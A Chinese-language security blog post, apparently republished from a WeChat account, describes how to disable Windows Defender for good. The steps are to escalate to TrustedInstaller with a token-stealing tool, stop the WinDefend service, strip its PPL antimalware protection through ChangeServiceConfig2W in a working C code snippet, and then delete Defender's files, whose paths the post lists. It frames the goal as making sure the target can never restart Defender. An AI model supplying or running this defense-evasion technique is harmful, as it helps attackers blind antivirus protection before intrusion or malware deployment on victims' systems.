前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >绕过ppl保护关闭Windows Defender

绕过ppl保护关闭Windows Defender

作者头像
黑白天安全
发布2021-12-13 19:13:41
2.3K0
发布2021-12-13 19:13:41
举报

描述

可以关闭Windows Defender服务并通过提升权限删除ppl保护,然后删除Windows Defender中的DLL和其他文件,使Windows Defender服务无法运行,从而导致Windows Defender拒绝服务。

攻击步骤

1.将权限升级到trustedinstaller

我们使用受信任的安装程序组令牌自动窃取系统令牌,以提升到受信任的安装程序权限,

在这里,我们使用一个开源工具来利用它:

https://github.com/0xbadjuju/Tokenvator.

提权到TrustedInstaller并使用这个权限打开一个新的CMD.exe

同时这个cmd.exe也拥有TrustedInstaller权限。

2.关闭Windows Defender服务

这个其实并不是漏洞,因为我们的administrator权限也可以直接临时关闭Windows Defender服务。

但是这样关闭Windows Defender服务可以手工打开和重启会自动打开,我们想要的是永远关闭Windows Defender服务,在黑客的想法中就是目标无论如何都没有办法再次启动Windows Defender服务,当然重装系统除外。哈哈哈....

3.移除 PsProtectSignerAntimalware-Light 保护

关于“保护”的快速背景:

保护进程首先出现在 windows vista 中,作为对关键 windows 用户模式服务的增强,后来在 windows 8.1 中演变为保护进程 (PPL).一般来说可执行文件必须使用特殊证书进行签名,然后才有可能使用保护进程 (PPL)。

在微软文档中我们可以知道:

https://docs.microsoft.com/en-us/windows/win32/api/winsvc/nf-winsvc-changeserviceconfig2w

只要我们对服务对象有足够的访问权限,就可以更改服务保护。也就是说我们可以关闭Windows Defender服务的PPL。经过我们测试知道服务 ACL 根本不允许 SYSTEM 用户和管理员组修改或停止 Windows Defender 服务。但它允许 WinDefend 和 TrustedInstaller 修改或停止 Windows Defender 服务的ppl,那么上面我们拥有了完整的TrustedInstaller权限。

那么我们可以禁用Windows Defender 服务的PsProtectSignerAntimalware-Light,然后可以修改和删除Windows Defender的运行必要组件来达到使永远关闭Windows Defender服务的目的。

Windows Defender的文件保存路径为:

C:\Program Files\Windows Defender
C:\Program Files\Windows Defender Advanced Threat Protection
C:\Program Files (x86)\Windows Defender

在有PPL的情况下我们无法对这些文件进行任何修改。

同样在TrustedInstaller权限中也无法进行修改等等操作。

那么我们可以使用TrustedInstaller权限通过ChangeServiceConfig2W来停止PsProtectSignerAntimalware-Light 保护,然后修改和删除Windows Defender的运行必要组件来达到使永远关闭Windows Defender服务的目的。

SC_HANDLE tt = OpenSCManager(NULL, NULL, GENERIC_READ);//建立服务控制管理器的连接
  SC_HANDLE windefend_svc = OpenServiceW(tt, L"WinDefend", SERVICE_START | SERVICE_STOP | GENERIC_READ | SERVICE_CHANGE_CONFIG | SERVICE_USER_DEFINED_CONTROL);
  //打开一个已经存在的服务 打开wdf的服务
  if (windefend_svc == NULL) {
    printf("\n[-] Failed to open WinDefend service.");
    return 1;
  }
  printf("Done.\n");


  SERVICE_STATUS svc_status;
  if (!ControlService(windefend_svc, SERVICE_CONTROL_STOP, &svc_status)) {
    //停止WDF服务
    printf("[-] Failed to stop WinDefend service :(");
    return 1;
  }
  printf("[+] Successfully sent service stop control.\n");
  SERVICE_LAUNCH_PROTECTED_INFO info;
  DWORD ret_sz = 0;


  QueryServiceConfig2W(windefend_svc, SERVICE_CONFIG_LAUNCH_PROTECTED, (LPBYTE)&info, sizeof(SERVICE_LAUNCH_PROTECTED_INFO), &ret_sz);
  //检索WDF服务的可选配置参数。
  if (info.dwLaunchProtected == SERVICE_LAUNCH_PROTECTED_NONE)
    goto WaitDefender;
  info.dwLaunchProtected = SERVICE_LAUNCH_PROTECTED_NONE;
  if (!ChangeServiceConfig2W(windefend_svc, SERVICE_CONFIG_LAUNCH_PROTECTED, &info)) {
    printf("[-] Failed to remove PsProtectSignerAntimalware-Light from WinDefend service :(");
    return 1;
  }
  printf("[+] Successfully removed PsProtectSignerAntimalware-Light from WinDefend service.\n");
WaitDefender:
  printf("[*] Waiting WinDefend to stop .!\n");
  WaitForSingleObject(hwindefend, INFINITE);
  CloseHandle(hwindefend);
  printf("[!] Attempting to unload WdFilter.sys ... ");

然后修改修改和删除Windows Defender的运行必要组件来达到使永远关闭Windows Defender服务的目的。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-12-12,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 黑白天实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 描述
  • 2.关闭Windows Defender服务
  • 3.移除 PsProtectSignerAntimalware-Light 保护
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档